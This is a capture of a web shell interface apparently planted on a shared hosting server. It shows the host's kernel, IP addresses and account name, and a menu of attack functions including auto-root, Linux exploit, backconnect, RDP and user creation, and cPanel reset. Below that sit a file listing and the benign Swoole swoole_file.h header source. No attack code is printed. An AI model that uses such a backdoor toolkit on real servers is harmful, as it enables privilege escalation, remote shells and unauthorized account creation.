Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
php81 /
usr /
include /
php /
ext /
swoole /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
swoole.h
22.85
KB
-rw-r--r--
swoole_api.h
3.39
KB
-rw-r--r--
swoole_asm_context.h
1.76
KB
-rw-r--r--
swoole_async.h
3.7
KB
-rw-r--r--
swoole_atomic.h
2.15
KB
-rw-r--r--
swoole_base64.h
1.29
KB
-rw-r--r--
swoole_buffer.h
2.28
KB
-rw-r--r--
swoole_c_api.h
2.19
KB
-rw-r--r--
swoole_channel.h
2.34
KB
-rw-r--r--
swoole_client.h
8.41
KB
-rw-r--r--
swoole_config.h
8.84
KB
-rw-r--r--
swoole_coroutine.h
8.96
KB
-rw-r--r--
swoole_coroutine_c_api.h
4.9
KB
-rw-r--r--
swoole_coroutine_channel.h
4.18
KB
-rw-r--r--
swoole_coroutine_context.h
2.59
KB
-rw-r--r--
swoole_coroutine_socket.h
18.85
KB
-rw-r--r--
swoole_coroutine_system.h
3.48
KB
-rw-r--r--
swoole_dtls.h
2.41
KB
-rw-r--r--
swoole_error.h
5.85
KB
-rw-r--r--
swoole_file.h
4.09
KB
-rw-r--r--
swoole_file_hook.h
2.86
KB
-rw-r--r--
swoole_hash.h
9.69
KB
-rw-r--r--
swoole_heap.h
1.79
KB
-rw-r--r--
swoole_http.h
6.99
KB
-rw-r--r--
swoole_http2.h
8.38
KB
-rw-r--r--
swoole_lock.h
2.64
KB
-rw-r--r--
swoole_log.h
15.72
KB
-rw-r--r--
swoole_lru_cache.h
3.17
KB
-rw-r--r--
swoole_memory.h
2.75
KB
-rw-r--r--
swoole_message_bus.h
5.53
KB
-rw-r--r--
swoole_mime_type.h
1.44
KB
-rw-r--r--
swoole_mqtt.h
2.18
KB
-rw-r--r--
swoole_msg_queue.h
1.92
KB
-rw-r--r--
swoole_pipe.h
2.64
KB
-rw-r--r--
swoole_process_pool.h
8.88
KB
-rw-r--r--
swoole_protocol.h
5.32
KB
-rw-r--r--
swoole_proxy.h
2.14
KB
-rw-r--r--
swoole_reactor.h
11.25
KB
-rw-r--r--
swoole_redis.h
2.09
KB
-rw-r--r--
swoole_server.h
39.62
KB
-rw-r--r--
swoole_signal.h
1.68
KB
-rw-r--r--
swoole_socket.h
17.61
KB
-rw-r--r--
swoole_socket_hook.h
2.23
KB
-rw-r--r--
swoole_ssl.h
4.94
KB
-rw-r--r--
swoole_static_handler.h
4.7
KB
-rw-r--r--
swoole_string.h
8.06
KB
-rw-r--r--
swoole_table.h
7.35
KB
-rw-r--r--
swoole_timer.h
4.05
KB
-rw-r--r--
swoole_util.h
5.58
KB
-rw-r--r--
swoole_version.h
2.21
KB
-rw-r--r--
swoole_websocket.h
4.53
KB
-rw-r--r--
swoole_wheel_timer.h
2.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : swoole_file.h
/* +----------------------------------------------------------------------+ | Swoole | +----------------------------------------------------------------------+ | This source file is subject to version 2.0 of the Apache license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.apache.org/licenses/LICENSE-2.0.html | | If you did not receive a copy of the Apache2.0 license and are unable| | to obtain it through the world-wide-web, please send a note to | | license@swoole.com so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: Tianfeng Han <rango@swoole.com> | +----------------------------------------------------------------------+ */ #pragma once #include "swoole.h" #include "swoole_string.h" #include <sys/file.h> #include <sys/stat.h> #include <fcntl.h> namespace swoole { ssize_t file_get_size(FILE *fp); ssize_t file_get_size(int fd); ssize_t file_get_size(const std::string &filename); std::shared_ptr<String> file_get_contents(const std::string &filename); bool file_put_contents(const std::string &filename, const char *content, size_t length); bool file_exists(const std::string &filename); typedef struct stat FileStatus; class File { private: int fd_; int flags_; std::string path_; public: enum Flag { READ = O_RDONLY, WRITE = O_WRONLY, RW = O_RDWR, CREATE = O_CREAT, EXCL = O_EXCL, APPEND = O_APPEND, }; explicit File(int fd) { fd_ = fd; flags_ = 0; } File(int fd, const std::string &path) { fd_ = fd; path_ = path; flags_ = 0; } File(const std::string &path, int oflags) { fd_ = ::open(path.c_str(), oflags); path_ = path; flags_ = oflags; } File(const std::string &path, int oflags, int mode) { fd_ = ::open(path.c_str(), oflags, mode); path_ = path; flags_ = oflags; } ~File() { if (fd_ >= 0) { ::close(fd_); } } bool ready() { return fd_ != -1; } ssize_t write(const void *__buf, size_t __n) const { return ::write(fd_, __buf, __n); } ssize_t read(void *__buf, size_t __n) const { return ::read(fd_, __buf, __n); } ssize_t pwrite(const void *__buf, size_t __n, off_t __offset) const { return ::pwrite(fd_, __buf, __n, __offset); } ssize_t pread(void *__buf, size_t __n, off_t __offset) const { return ::pread(fd_, __buf, __n, __offset); } size_t write_all(const void *__buf, size_t __n); size_t read_all(void *__buf, size_t __n); std::shared_ptr<String> read_content(); bool stat(FileStatus *_stat) const { if (::fstat(fd_, _stat) < 0) { swoole_sys_warning("fstat() failed"); return false; } else { return true; } } bool sync() { return ::fsync(fd_) == 0; } bool truncate(size_t size) { return ::ftruncate(fd_, size) == 0; } off_t set_offest(off_t offset) { return lseek(fd_, offset, SEEK_SET); } off_t get_offset() { return lseek(fd_, 0, SEEK_CUR); } bool lock(int operation) { return ::flock(fd_, operation) == 0; } bool unlock() { return ::flock(fd_, LOCK_UN) == 0; } ssize_t get_size() { return file_get_size(fd_); } bool close() { if (fd_ == -1) { return false; } int tmp_fd = fd_; fd_ = -1; return ::close(tmp_fd) == 0; } void release() { fd_ = -1; } int get_fd() { return fd_; } const std::string &get_path() { return path_; } static bool exists(const std::string &file) { return access(file.c_str(), R_OK) == 0; } }; File make_tmpfile(); } // namespace swoole
Close